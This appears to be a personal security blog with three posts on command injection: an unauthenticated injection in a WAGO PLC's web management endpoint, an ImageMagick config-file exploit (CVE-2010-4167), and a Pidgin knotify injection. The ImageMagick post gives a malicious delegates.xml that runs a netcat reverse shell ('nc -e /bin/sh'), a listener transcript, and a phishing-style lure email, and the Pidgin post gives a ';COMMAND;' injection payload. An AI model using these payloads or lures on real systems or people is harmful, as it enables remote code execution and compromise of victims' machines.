Silently Fixed Unauthorized Command Injection in WAGO PLC Ethernet

It's been almost 4 years I didn't blogged anything on anywhere (shame).

Anyway, recently found Unauthorized Command Injection vulnerability in WAGO PLC's web-based management software. Affected device is here (WAGO 750-8202 PFC200 CS 2ETH RS).

P.S: This is not related with CVE-2016-9362.

You would need following tools if you would like to analyze vulnerability by yourself;

• Burp Suite 
• A Web Browser 
• Binwalk 
• Code Editor (My fav is Sublime Text, it's so lightweight and have good themes) 

If you fire up your MITM proxy (Burp Suite is my choice) and visit web application, eventually you will notice that application do lots of XML HTTP Requests and one of requested URL is /wbm/configtools.php. That endpoint executes some OS commands and shares output with the web application (I know 90's wants it's vulnerabilities back).

While playing with JSON payload sent to configtools.php endpoint, find out that it's possible to inject OS commands into "parameter" JSON value. Injected commands such as uname -a and id.

Results of executed commands.


Bingo! Easy and quick win against a dummy device web-based management software.

To confirm that critical vulnerability in latest version of firmware, simply downloaded the latest firmware from WAGO's web site, extracted it with binwalk (thanks authors of binwalk) and start to review source code.




In the source code, CallConfigtoolByJson function called to JSON request from browser which later call CallConfigtool function to process "parameter" value in JSON payload.



OK, commments and code fixes show that they found it internally (maybe?) and fixed it silently. Requested old firmwares but they didn't send me yet :)

Funny ImageMagic CMD Injection

Sometimes i don't read vendors vulnerability reports, because they are so boring and don't give technical information about vulnerability. Last day, i read Ubuntu Security Notice's vulnerability report and it seemed interesting. Firstly, i read description section, it says;
"It was discovered that ImageMagick would search for configuration files in
the current directory. If a user were tricked into opening or processing an
image in an arbitrary directory, a local attacker could execute arbitrary
code with the user's privileges." [1]

After that i search for CVE ID of vulnerability "CVE-2010-4167". If i don't find anything i will be review diff files. But debian bug tracking pages help me. [2]
I always belive that, bug tracking systems always very usefull for finding security bugs/developing exploits.

The opened issue was true, when you create config files and run imagemagic, imagemagic looks current directory for config files, so if you can able to create malicious config file or your target run "convert" binary with your malicious config file, you can execute commands with current user privileges.

We create malicious xml config files, they are execute commands on currents users context. In example, i execute netcat for getting a reverse shell -) I send mail them to my victim;
"Hello dear, i need to convert my png file to jpg and i can't access my computer now, can you do it for me? I attached the png file.."

If my victim open it (for this case he will open :P ) my arbitrary codes will be executed on system.

Victim:
[victim@vmware:~/img]$ unzip please_convert.zip
... snipped ...
[victim@vmware:~/img]$ convert x.png a.jpg
convert: unable to open image `/tmp/magick-XXFJtZIk': No such file or directory @ blob.c/OpenBlob/2480.
convert: unable to open file `/tmp/magick-XXFJtZIk': No such file or directory @ constitute.c/ReadImage/569.
convert: missing an image filename `a.jpg' @ convert.c/ConvertImageCommand/2838.

Attacker:

[cb@lab:~/imagemagic-Xploi7]$ nc.traditional -lvvp 1337

listening on [any] 1337 ...

connect to [127.0.0.1] from localhost [127.0.0.1] 37267

ls

coder.xml

delegates.xml

sshoos

xploit.txt

x.png

echo "owned :P"

owned :P

exit

 sent 24, rcvd 57

Here is the example delegate.xml file:

<delegatemap>
<delegate decode='png' command="nc.traditional -e /bin/sh 127.0.0.1 1337"/>
</delegatemap>

and here is the example coder.xml file:

<codermap>
<coder magick='png' name='notpng'/>
</codermap>

Note: delegate.xml file needs coder.xml for executing by imagemagic.

References:
[1] - http://www.ubuntu.com/usn/usn-1028-1
[2] - http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=601824

Funny Command Injection in Pidgin

Today @_ikki tweet about this funny "fail" bug.Pidgins knotify plugin have remote command injection vulnerability. When you type some commands to your victim its executed with current users local priveliges. Its funny!! :>

--[src/pidgin-knotify.c:71-74]--
command = g_strdup_printf("kdialog --title '%s' --passivepopup '%s' %d", title,
body, timeout);
[...]
result = system(command);
--snip--


Exploitation:
Type your friend who use knotifies old version --> ';COMMAND;'

Reference:
https://bugs.gentoo.org/show_bug.cgi?id=336916